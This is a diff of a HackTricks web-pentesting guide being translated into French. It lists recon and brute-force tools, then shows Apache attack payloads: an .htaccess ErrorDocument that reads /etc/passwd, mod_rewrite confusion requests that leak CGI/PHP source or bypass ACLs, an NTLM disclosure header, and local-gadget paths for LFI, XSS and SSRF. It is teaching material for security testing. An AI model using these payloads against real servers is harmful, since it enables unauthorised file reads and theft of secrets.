- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Outil utilisé pour découvrir des endpoints pour une cible donnée.
|
||||
- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Découvrir des liens depuis la wayback machine (télécharge aussi les réponses dans la wayback et recherche d'autres liens).
|
||||
- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawl (même en remplissant des formulaires) et trouve aussi des infos sensibles en utilisant des regexs spécifiques.
|
||||
- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite est un crawler/spider GUI multi-fonction avancé conçu pour les professionnels de la cybersécurité.
|
||||
- [**jsluice**](https://github.com/BishopFox/jsluice) (go): C'est un package Go et un [command-line tool](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) pour extraire URLs, chemins, secrets et autres données intéressantes depuis le code source JavaScript.
|
||||
- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge est une simple **Burp Suite extension** pour **extraire les paramters et endpoints** de la requête afin de créer des wordlists personnalisées pour le fuzzing et l'énumération.
|
||||
- [**katana**](https://github.com/projectdiscovery/katana) (go): Outil excellent pour cela.
|
||||
- [**Crawley**](https://github.com/s0rg/crawley) (go): Affiche chaque lien qu'il est capable de trouver.
|
||||
|
||||
### Brute Force directories and files
|
||||
|
||||
Start **brute-forcing** from the root folder and be sure to brute-force **all** the **directories found** using **this method** and all the directories **discovered** by the **Spidering** (you can do this brute-forcing **recursively** and appending at the beginning of the used wordlist the names of the found directories).\
|
||||
Tools:
|
||||
Commencez le **brute-forcing** depuis le dossier racine et assurez-vous de brute-forcer **tous** les **répertoires trouvés** en utilisant **cette méthode** et tous les répertoires **découverts** par le **Spidering** (vous pouvez faire ce brute-forcing **récursivement** et préfixer dans le wordlist utilisé les noms des répertoires trouvés).\
|
||||
Outils :
|
||||
|
||||
- **Dirb** / **Dirbuster** - Included in Kali, **old** (and **slow**) but functional. Allow auto-signed certificates and recursive search. Too slow compared with th other options.
|
||||
- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: It doesn't allow auto-signed certificates but** allows recursive search.
|
||||
- [**Gobuster**](https://github.com/OJ/gobuster) (go): It allows auto-signed certificates, it **doesn't** have **recursive** search.
|
||||
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Fast, supports recursive search.**
|
||||
- **Dirb** / **Dirbuster** - Inclus dans Kali, **vieux** (et **lent**) mais fonctionnel. Permet certificats auto-signés et recherche récursive. Trop lent comparé aux autres options.
|
||||
- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: Il n'autorise pas les certificats auto-signés mais** permet la recherche récursive.
|
||||
- [**Gobuster**](https://github.com/OJ/gobuster) (go): Il permet les certificats auto-signés, il **n'a pas** de recherche **récursive**.
|
||||
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Rapide, supporte la recherche récursive.**
|
||||
- [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
|
||||
- [**ffuf** ](https://github.com/ffuf/ffuf)- Fast: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
|
||||
- [**uro**](https://github.com/s0md3v/uro) (python): This isn't a spider but a tool that given the list of found URLs will to delete "duplicated" URLs.
|
||||
- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp Extension to create a list of directories from the burp history of different pages
|
||||
- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Remove URLs with duplicated functionalities (based on js imports)
|
||||
- [**Chamaleon**](https://github.com/iustin24/chameleon): It uses wapalyzer to detect used technologies and select the wordlists to use.
|
||||
- [**ffuf** ](https://github.com/ffuf/ffuf)- Rapide: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
|
||||
- [**uro**](https://github.com/s0md3v/uro) (python): Ce n'est pas un spider mais un outil qui, donné la liste d'URLs trouvées, supprimera les URLs "dupliquées".
|
||||
- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp Extension pour créer une liste de répertoires depuis l'historique burp de différentes pages.
|
||||
- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Supprime les URLs avec des fonctionnalités dupliquées (basé sur les imports js).
|
||||
- [**Chamaleon**](https://github.com/iustin24/chameleon): Utilise wapalyzer pour détecter les technologies utilisées et sélectionner les wordlists à utiliser.
|
||||
|
||||
**Recommended dictionaries:**
|
||||
**Dictionnaires recommandés :**
|
||||
|
||||
- [https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt](https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt)
|
||||
- [**Dirsearch** included dictionary](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt)
|
||||
@ -268,41 +267,41 @@ Tools:
|
||||
- _/usr/share/wordlists/dirb/big.txt_
|
||||
- _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_
|
||||
|
||||
_Note that anytime a new directory is discovered during brute-forcing or spidering, it should be Brute-Forced._
|
||||
_Notez que chaque fois qu'un nouveau répertoire est découvert pendant le brute-forcing ou le spidering, il doit être Brute-Forced._
|
||||
|
||||
### What to check on each file found
|
||||
|
||||
- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Find broken links inside HTMLs that may be prone to takeovers
|
||||
- **File Backups**: Once you have found all the files, look for backups of all the executable files ("_.php_", "_.aspx_"...). Common variations for naming a backup are: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp and file.old._ You can also use the tool [**bfac**](https://github.com/mazen160/bfac) **or** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
|
||||
- **Discover new parameters**: You can use tools like [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **and** [**Param Miner**](https://github.com/PortSwigger/param-miner) **to discover hidden parameters. If you can, you could try to search** hidden parameters on each executable web file.
|
||||
- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Trouver les liens cassés dans les HTMLs qui peuvent être susceptibles de takeover.
|
||||
- **File Backups**: Une fois que vous avez trouvé tous les fichiers, cherchez des backups de tous les fichiers exécutables ("_.php_", "_.aspx_"...). Variantes communes de nommage pour un backup : _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp et file.old._ Vous pouvez aussi utiliser l'outil [**bfac**](https://github.com/mazen160/bfac) **ou** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
|
||||
- **Discover new parameters**: Vous pouvez utiliser des outils comme [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **et** [**Param Miner**](https://github.com/PortSwigger/param-miner) **pour découvrir des paramètres cachés. Si possible, essayez de rechercher** des paramètres cachés sur chaque fichier web exécutable.
|
||||
- _Arjun all default wordlists:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
|
||||
- _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
|
||||
- _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
|
||||
- _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
|
||||
- **Comments:** Check the comments of all the files, you can find **credentials** or **hidden functionality**.
|
||||
- If you are playing **CTF**, a "common" trick is to **hide** **information** inside comments at the **right** of the **page** (using **hundreds** of **spaces** so you don't see the data if you open the source code with the browser). Other possibility is to use **several new lines** and **hide information** in a comment at the **bottom** of the web page.
|
||||
- **API keys**: If you **find any API key** there is guide that indicates how to use API keys of different platforms: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
|
||||
- Google API keys: If you find any API key looking like **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik you can use the project [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) to check which apis the key can access.
|
||||
- **S3 Buckets**: While spidering look if any **subdomain** or any **link** is related with some **S3 bucket**. In that case, [**check** the **permissions** of the bucket](buckets/index.html).
|
||||
- **Commentaires :** Vérifiez les commentaires de tous les fichiers, vous pouvez y trouver des **credentials** ou des **fonctionnalités cachées**.
|
||||
- Si vous jouez en **CTF**, une astuce "classique" est de **cacher** des **informations** dans des commentaires à droite de la **page** (en utilisant des **centaines** d'**espaces** pour que vous ne voyiez pas les données si vous ouvrez le code source dans le navigateur). Autre possibilité : utiliser **plusieurs sauts de ligne** et **cacher des informations** dans un commentaire en bas de la page web.
|
||||
- **API keys**: Si vous **trouvez une API key** il existe des guides indiquant comment utiliser les API keys de différentes plateformes : [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
|
||||
- Google API keys: Si vous trouvez une API key commençant par **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik vous pouvez utiliser le projet [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) pour vérifier quelles APIs la clé peut accéder.
|
||||
- **S3 Buckets**: Pendant le spidering, regardez si un **subdomain** ou un **lien** est lié à un **S3 bucket**. Dans ce cas, [**vérifiez** les **permissions** du bucket](buckets/index.html).
|
||||
|
||||
### Special findings
|
||||
|
||||
**While** performing the **spidering** and **brute-forcing** you could find **interesting** **things** that you have to **notice**.
|
||||
**Pendant** le **spidering** et le **brute-forcing** vous pouvez trouver des **choses** **intéressantes** qu'il faut **remarquer**.
|
||||
|
||||
**Interesting files**
|
||||
**Fichiers intéressants**
|
||||
|
||||
- Look for **links** to other files inside the **CSS** files.
|
||||
- [If you find a _**.git**_ file some information can be extracted](git.md)
|
||||
- If you find a _**.env**_ information such as api keys, dbs passwords and other information can be found.
|
||||
- If you find **API endpoints** you [should also test them](web-api-pentesting.md). These aren't files, but will probably "look like" them.
|
||||
- **JS files**: In the spidering section several tools that can extract path from JS files were mentioned. Also, It would be interesting to **monitor each JS file found**, as in some ocations, a change may indicate that a potential vulnerability was introduced in the code. You could use for example [**JSMon**](https://github.com/robre/jsmon)**.**
|
||||
- You should also check discovered JS files with [**RetireJS**](https://github.com/retirejs/retire.js/) or [**JSHole**](https://github.com/callforpapers-source/jshole) to find if it's vulnerable.
|
||||
- Cherchez des **liens** vers d'autres fichiers dans les fichiers **CSS**.
|
||||
- [Si vous trouvez un _**.git**_ des informations peuvent être extraites](git.md)
|
||||
- Si vous trouvez un _**.env**_ des informations telles que des api keys, mots de passe de dbs et autres informations peuvent être trouvées.
|
||||
- Si vous trouvez des **API endpoints** vous [devez aussi les tester](web-api-pentesting.md). Ce ne sont pas des fichiers, mais ils ressembleront probablement à des fichiers.
|
||||
- **JS files**: Dans la section spidering plusieurs outils capables d'extraire des chemins depuis les fichiers JS ont été mentionnés. Il serait aussi intéressant de **monitorer chaque fichier JS trouvé**, car parfois un changement peut indiquer qu'une vulnérabilité potentielle a été introduite dans le code. Vous pouvez par exemple utiliser [**JSMon**](https://github.com/robre/jsmon)**.**
|
||||
- Vous devriez aussi vérifier les fichiers JS découverts avec [**RetireJS**](https://github.com/retirejs/retire.js/) ou [**JSHole**](https://github.com/callforpapers-source/jshole) pour voir s'ils sont vulnérables.
|
||||
- **Javascript Deobfuscator and Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
|
||||
- **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
|
||||
- **JsFuck deobfuscation** (javascript with chars:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/))
|
||||
- [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
|
||||
- On several occasions, you will need to **understand the regular expressions** used. This will be useful: [https://regex101.com/](https://regex101.com) or [https://pythonium.net/regex](https://pythonium.net/regex)
|
||||
- You could also **monitor the files were forms were detected**, as a change in the parameter or the apearance f a new form may indicate a potential new vulnerable functionality.
|
||||
- À plusieurs occasions, vous aurez besoin de **comprendre les expressions régulières** utilisées. Cela sera utile : [https://regex101.com/](https://regex101.com) ou [https://pythonium.net/regex](https://pythonium.net/regex)
|
||||
- Vous pourriez aussi **monitorer les fichiers où des formulaires ont été détectés**, car un changement dans les paramètres ou l'apparition d'un nouveau formulaire peut indiquer une fonctionnalité potentiellement vulnérable.
|
||||
|
||||
**403 Forbidden/Basic Authentication/401 Unauthorized (bypass)**
|
||||
|
||||
@ -313,28 +312,28 @@ _Note that anytime a new directory is discovered during brute-forcing or spideri
|
||||
|
||||
**502 Proxy Error**
|
||||
|
||||
If any page **responds** with that **code**, it's probably a **bad configured proxy**. **If you send a HTTP request like: `GET https://google.com HTTP/1.1`** (with the host header and other common headers), the **proxy** will try to **access** _**google.com**_ **and you will have found a** SSRF.
|
||||
Si une page **répond** avec ce **code**, c'est probablement un **proxy mal configuré**. **Si vous envoyez une requête HTTP comme : `GET https://google.com HTTP/1.1`** (avec l'en-tête Host et d'autres en-têtes communs), le **proxy** va essayer d'**accéder** à _**google.com**_ **et vous aurez trouvé un** SSRF.
|
||||
|
||||
**NTLM Authentication - Info disclosure**
|
||||
|
||||
If the running server asking for authentication is **Windows** or you find a login asking for your **credentials** (and asking for **domain** **name**), you can provoke an **information disclosure**.\
|
||||
**Send** the **header**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` and due to how the **NTLM authentication works**, the server will respond with internal info (IIS version, Windows version...) inside the header "WWW-Authenticate".\
|
||||
You can **automate** this using the **nmap plugin** "_http-ntlm-info.nse_".
|
||||
Si le serveur qui demande l'authentification est **Windows** ou si vous trouvez une page de login demandant vos **credentials** (et demandant le **nom** de **domaine**), vous pouvez provoquer une **divulgation d'information**.\
|
||||
**Envoyez** l'**en-tête** : `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` et dû à la manière dont fonctionne l'**NTLM authentication**, le serveur répondra avec des infos internes (version IIS, version Windows...) dans l'en-tête "WWW-Authenticate".\
|
||||
Vous pouvez **automatiser** cela avec le plugin **nmap** "_http-ntlm-info.nse_".
|
||||
|
||||
**HTTP Redirect (CTF)**
|
||||
|
||||
It is possible to **put content** inside a **Redirection**. This content **won't be shown to the user** (as the browser will execute the redirection) but something could be **hidden** in there.
|
||||
Il est possible de **mettre du contenu** à l'intérieur d'une **Redirection**. Ce contenu **ne sera pas affiché à l'utilisateur** (puisque le navigateur exécutera la redirection) mais quelque chose pourrait y être **caché**.
|
||||
|
||||
### Web Vulnerabilities Checking
|
||||
|
||||
Now that a comprehensive enumeration of the web application has been performed it's time to check for a lot of possible vulnerabilities. You can find the checklist here:
|
||||
Maintenant qu'une énumération complète de l'application web a été réalisée, il est temps de vérifier un grand nombre de vulnérabilités possibles. Vous pouvez trouver la checklist ici :
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../../pentesting-web/web-vulnerabilities-methodology.md
|
||||
{{#endref}}
|
||||
|
||||
Find more info about web vulns in:
|
||||
Trouvez plus d'infos sur les vulnérabilités web sur :
|
||||
|
||||
- [https://six2dez.gitbook.io/pentest-book/others/web-checklist](https://six2dez.gitbook.io/pentest-book/others/web-checklist)
|
||||
- [https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html](https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html)
|
||||
@ -342,7 +341,7 @@ Find more info about web vulns in:
|
||||
|
||||
### Monitor Pages for changes
|
||||
|
||||
You can use tools such as [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) to monitor pages for modifications that might insert vulnerabilities.
|
||||
Vous pouvez utiliser des outils tels que [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) pour monitorer des pages afin de détecter des modifications qui pourraient introduire des vulnérabilités.
|
||||
|
||||
### HackTricks Automatic Commands
|
||||
```
|
||||
|
@ -4,7 +4,7 @@
|
||||
|
||||
## Extensions PHP exécutables
|
||||
|
||||
Vérifiez quelles extensions PHP sont chargées par le serveur Apache. Pour les rechercher, vous pouvez exécuter :
|
||||
Vérifiez quelles extensions sont exécutées par le serveur Apache. Pour les rechercher, vous pouvez exécuter :
|
||||
```bash
|
||||
grep -R -B1 "httpd-php" /etc/apache2
|
||||
```
|
||||
@ -23,11 +23,11 @@ Linux
|
||||
```
|
||||
## LFI via .htaccess ErrorDocument file provider (ap_expr)
|
||||
|
||||
Si vous pouvez contrôler le .htaccess d'un répertoire et que AllowOverride inclut FileInfo pour ce chemin, vous pouvez transformer les réponses 404 en lectures arbitraires de fichiers locaux en utilisant la fonction ap_expr file() à l'intérieur d'ErrorDocument.
|
||||
Si vous pouvez contrôler le .htaccess d’un répertoire et qu’AllowOverride inclut FileInfo pour ce chemin, vous pouvez transformer les réponses 404 en lectures arbitraires de fichiers locaux en utilisant la fonction ap_expr file() à l’intérieur d’ErrorDocument.
|
||||
|
||||
- Exigences :
|
||||
- Apache 2.4 avec le parser d'expressions (ap_expr) activé (par défaut dans 2.4).
|
||||
- Le vhost/dir doit permettre au .htaccess de définir ErrorDocument (AllowOverride FileInfo).
|
||||
- Apache 2.4 avec expression parser (ap_expr) activé (par défaut en 2.4).
|
||||
- Le vhost/dir doit permettre à .htaccess de définir ErrorDocument (AllowOverride FileInfo).
|
||||
- L'utilisateur worker d'Apache doit avoir les permissions de lecture sur le fichier cible.
|
||||
|
||||
.htaccess payload:
|
||||
@ -37,31 +37,31 @@ Header always set X-Debug-Tenant "demo"
|
||||
# On any 404 under this directory, return the contents of an absolute filesystem path
|
||||
ErrorDocument 404 %{file:/etc/passwd}
|
||||
```
|
||||
Se déclenche en demandant n'importe quel chemin inexistant sous ce répertoire, par exemple lors de l'abus de userdir-style hosting:
|
||||
Se déclenche en demandant n'importe quel non-existing path sous ce directory, par exemple lors de l'abus de userdir-style hosting :
|
||||
```bash
|
||||
curl -s http://target/~user/does-not-exist | sed -n '1,20p'
|
||||
```
|
||||
Notes et astuces:
|
||||
- Seuls les chemins absolus fonctionnent. Le contenu est renvoyé comme corps de la réponse pour le handler 404.
|
||||
- Les permissions de lecture effectives sont celles de l'utilisateur Apache (typiquement www-data/apache). Vous ne pourrez pas lire /root/* ou /etc/shadow dans des configurations par défaut.
|
||||
- Même si .htaccess appartient à root, si le répertoire parent appartient au tenant et permet le renommage, vous pourriez être capable de renommer le .htaccess original et uploader votre propre remplacement via SFTP/FTP :
|
||||
Notes et conseils :
|
||||
- Seuls les chemins absolus fonctionnent. Le contenu est renvoyé comme corps de réponse par le handler 404.
|
||||
- Les permissions de lecture effectives sont celles de l'utilisateur Apache (typiquement www-data/apache). Vous ne pourrez pas lire /root/* ni /etc/shadow dans des configurations par défaut.
|
||||
- Même si .htaccess appartient à root, si le répertoire parent appartient au tenant et permet le renommage, il se peut que vous puissiez renommer le .htaccess original et téléverser votre propre remplacement via SFTP/FTP :
|
||||
- rename .htaccess .htaccess.bk
|
||||
- put your malicious .htaccess
|
||||
- Utilisez ceci pour lire le code source de l'application sous DocumentRoot ou les chemins de config vhost afin de récupérer des secrets (DB creds, API keys, etc.).
|
||||
- Utilisez cela pour lire le code source de l'application sous DocumentRoot ou les chemins de config vhost afin de récupérer des secrets (DB creds, API keys, etc.).
|
||||
|
||||
## Confusion Attack <a href="#a-whole-new-attack-confusion-attack" id="a-whole-new-attack-confusion-attack"></a>
|
||||
|
||||
These types of attacks has been introduced and documented [**by Orange in this blog post**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1) and the following is a summary. L'attaque dite "confusion" exploite essentiellement le fait que les dizaines de modules qui s'articulent pour créer un Apache ne sont pas parfaitement synchronisés ; amener certains d'entre eux à modifier des données inattendues peut provoquer une vulnérabilité dans un module ultérieur.
|
||||
Ces types d'attaques ont été introduits et documentés [**by Orange in this blog post**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1) et ce qui suit en est un résumé. L'attaque dite "confusion" exploite essentiellement le fait que les dizaines de modules qui fonctionnent ensemble pour créer un Apache ne sont pas parfaitement synchronisés : si certains d'entre eux modifient des données inattendues, cela peut provoquer une vulnérabilité dans un module ultérieur.
|
||||
|
||||
### Filename Confusion
|
||||
|
||||
#### Truncation
|
||||
|
||||
Le **`mod_rewrite`** va tronquer le contenu de `r->filename` après le caractère `?` ([_**modules/mappers/mod_rewrite.c#L4141**_](https://github.com/apache/httpd/blob/2.4.58/modules/mappers/mod_rewrite.c#L4141)). Ce n'est pas totalement incorrect car la plupart des modules traiteront `r->filename` comme une URL. Mais dans d'autres occasions cela sera traité comme un chemin de fichier, ce qui poserait problème.
|
||||
Le **`mod_rewrite`** tronque le contenu de `r->filename` après le caractère `?` ([_**modules/mappers/mod_rewrite.c#L4141**_](https://github.com/apache/httpd/blob/2.4.58/modules/mappers/mod_rewrite.c#L4141)). Ce n'est pas totalement incorrect car la plupart des modules traiteront `r->filename` comme une URL. Mais dans d'autres cas, cela sera traité comme un chemin de fichier, ce qui poserait un problème.
|
||||
|
||||
- **Path Truncation**
|
||||
|
||||
Il est possible d'abuser de `mod_rewrite` comme dans l'exemple de règle suivant pour accéder à d'autres fichiers à l'intérieur du système de fichiers, en supprimant la dernière partie du chemin attendu en ajoutant simplement un `?` :
|
||||
Il est possible d'abuser de `mod_rewrite` comme dans l'exemple de règle suivant pour accéder à d'autres fichiers du système de fichiers, en supprimant la dernière partie du chemin attendu en ajoutant simplement un `?` :
|
||||
```bash
|
||||
RewriteEngine On
|
||||
RewriteRule "^/user/(.+)$" "/var/user/$1/profile.yml"
|
||||
@ -76,7 +76,7 @@ curl http://server/user/orange%2Fsecret.yml%3F
|
||||
```
|
||||
- **Mislead RewriteFlag Assignment**
|
||||
|
||||
Dans la règle de rewrite suivante, tant que l'URL se termine par .php, elle sera traitée et exécutée comme du php. Il est donc possible d'envoyer une URL qui se termine par .php après le caractère `?` tout en chargeant dans le path un autre type de fichier (comme une image) contenant du code php malveillant :
|
||||
Dans la règle de réécriture suivante, tant que l'URL se termine par .php elle sera traitée et exécutée en tant que php. Par conséquent, il est possible d'envoyer une URL qui se termine par .php après le caractère `?` tout en chargeant dans le chemin un type de fichier différent (comme une image) contenant du code php malveillant :
|
||||
```bash
|
||||
RewriteEngine On
|
||||
RewriteRule ^(.+\.php)$ $1 [H=application/x-httpd-php]
|
||||
@ -91,7 +91,7 @@ curl http://server/upload/1.gif%3fooo.php
|
||||
```
|
||||
#### **ACL Bypass**
|
||||
|
||||
Il est possible d'accéder à des fichiers auxquels l'utilisateur ne devrait pas avoir accès, même si l'accès devrait être refusé avec des configurations comme :
|
||||
Il est possible d'accéder à des fichiers auxquels l'utilisateur ne devrait pas avoir accès, même si l'accès devrait être refusé par des configurations comme :
|
||||
```xml
|
||||
<Files "admin.php">
|
||||
AuthType Basic
|
||||
@ -100,20 +100,20 @@ AuthUserFile "/etc/apache2/.htpasswd"
|
||||
Require valid-user
|
||||
</Files>
|
||||
```
|
||||
Ceci s'explique par le fait que, par défaut, PHP-FPM recevra les URLs se terminant par `.php`, comme `http://server/admin.php%3Fooo.php`, et que PHP-FPM supprimera tout ce qui suit le caractère `?`. L'URL précédente permettra ainsi de charger `/admin.php` même si la règle précédente l'interdisait.
|
||||
Cela s'explique parce que, par défaut, PHP-FPM recevra les URLs se terminant par `.php`, comme `http://server/admin.php%3Fooo.php` et parce que PHP-FPM supprime tout ce qui suit le caractère `?`, l'URL précédente permettra de charger `/admin.php` même si la règle précédente l'interdisait.
|
||||
|
||||
### Confusion autour de DocumentRoot
|
||||
```bash
|
||||
DocumentRoot /var/www/html
|
||||
RewriteRule ^/html/(.*)$ /$1.html
|
||||
```
|
||||
Une anecdote amusante à propos d'Apache est que la réécriture précédente va essayer d'accéder au fichier à la fois depuis le documentRoot et depuis root. Ainsi, une requête vers `https://server/abouth.html` vérifiera la présence du fichier dans `/var/www/html/about.html` et `/about.html` sur le système de fichiers. Cela peut donc être abusé pour accéder à des fichiers du système de fichiers.
|
||||
Un fait amusant à propos d'Apache est que la réécriture précédente essaiera d'accéder au fichier à la fois depuis le documentRoot et depuis root. Donc, une requête vers `https://server/abouth.html` vérifiera le fichier dans `/var/www/html/about.html` et `/about.html` dans le système de fichiers. Ce qui peut essentiellement être abusé pour accéder à des fichiers dans le système de fichiers.
|
||||
|
||||
#### **Divulgation du code source côté serveur**
|
||||
|
||||
- **Divulguer le code source CGI**
|
||||
|
||||
Ajouter simplement %3F à la fin suffit pour leak le code source d'un module cgi:
|
||||
Il suffit d'ajouter %3F à la fin pour leak le code source d'un module cgi :
|
||||
```bash
|
||||
curl http://server/cgi-bin/download.cgi
|
||||
# the processed result from download.cgi
|
||||
@ -123,15 +123,15 @@ curl http://server/html/usr/lib/cgi-bin/download.cgi%3F
|
||||
# ...
|
||||
# # the source code of download.cgi
|
||||
```
|
||||
- **Divulguer le code source PHP**
|
||||
- **Disclose PHP Source Code**
|
||||
|
||||
Si un serveur possède différents domaines, dont l'un est un domaine statique, cela peut être abusé pour parcourir le système de fichiers et leak php code:
|
||||
Si un serveur possède plusieurs domaines, dont l'un est un domaine statique, cela peut être exploité pour traverser le système de fichiers et leak php code:
|
||||
```bash
|
||||
# Leak the config.php file of the www.local domain from the static.local domain
|
||||
curl http://www.local/var/www.local/config.php%3F -H "Host: static.local"
|
||||
# the source code of config.php
|
||||
```
|
||||
#### **Local Gadgets Manipulation**
|
||||
#### **Manipulation des gadgets locaux**
|
||||
|
||||
Le principal problème de l'attaque précédente est que, par défaut, la plupart des accès au système de fichiers seront refusés comme dans Apache HTTP Server’s [configuration template](https://github.com/apache/httpd/blob/trunk/docs/conf/httpd.conf.in#L115):
|
||||
```xml
|
||||
@ -147,38 +147,38 @@ AllowOverride None
|
||||
Require all granted
|
||||
</Directory>
|
||||
```
|
||||
Therefore, it would be possible to **abuse files located inside `/usr/share` in these distributions.**
|
||||
Par conséquent, il serait possible d'**abuser des fichiers situés dans `/usr/share` dans ces distributions.**
|
||||
|
||||
**Local Gadget to Information Disclosure**
|
||||
**Gadget local pour divulgation d'informations**
|
||||
|
||||
- **Apache HTTP Server** with **websocketd** may expose the **dump-env.php** script at **/usr/share/doc/websocketd/examples/php/**, which can leak sensitive environment variables.
|
||||
- Servers with **Nginx** or **Jetty** might expose sensitive web application information (e.g., **web.xml**) through their default web roots placed under **/usr/share**:
|
||||
- **Apache HTTP Server** avec **websocketd** peut exposer le script **dump-env.php** à **/usr/share/doc/websocketd/examples/php/**, ce qui peut leak des variables d'environnement sensibles.
|
||||
- Des serveurs avec **Nginx** ou **Jetty** peuvent exposer des informations sensibles d'applications web (par ex., **web.xml**) via leurs répertoires web par défaut placés sous **/usr/share** :
|
||||
- **/usr/share/nginx/html/**
|
||||
- **/usr/share/jetty9/etc/**
|
||||
- **/usr/share/jetty9/webapps/**
|
||||
|
||||
**Local Gadget to XSS**
|
||||
**Gadget local vers XSS**
|
||||
|
||||
- On Ubuntu Desktop with **LibreOffice installed**, exploiting the help files' language switch feature can lead to **Cross-Site Scripting (XSS)**. Manipulating the URL at **/usr/share/libreoffice/help/help.html** can redirect to malicious pages or older versions through **unsafe RewriteRule**.
|
||||
- Sur Ubuntu Desktop avec **LibreOffice installé**, exploiter la fonctionnalité de changement de langue des fichiers d'aide peut conduire à du **Cross-Site Scripting (XSS)**. Manipuler l'URL à **/usr/share/libreoffice/help/help.html** peut rediriger vers des pages malveillantes ou des versions plus anciennes via une **RewriteRule** non sécurisée.
|
||||
|
||||
**Local Gadget to LFI**
|
||||
**Gadget local vers LFI**
|
||||
|
||||
- If PHP or certain front-end packages like **JpGraph** or **jQuery-jFeed** are installed, their files can be exploited to read sensitive files like **/etc/passwd**:
|
||||
- Si PHP ou certains packages front-end tels que **JpGraph** ou **jQuery-jFeed** sont installés, leurs fichiers peuvent être exploités pour lire des fichiers sensibles comme **/etc/passwd** :
|
||||
- **/usr/share/doc/libphp-jpgraph-examples/examples/show-source.php**
|
||||
- **/usr/share/javascript/jquery-jfeed/proxy.php**
|
||||
- **/usr/share/moodle/mod/assignment/type/wims/getcsv.php**
|
||||
|
||||
**Local Gadget to SSRF**
|
||||
**Gadget local vers SSRF**
|
||||
|
||||
- Utilizing **MagpieRSS's magpie_debug.php** at **/usr/share/php/magpierss/scripts/magpie_debug.php**, an SSRF vulnerability can be easily created, providing a gateway to further exploits.
|
||||
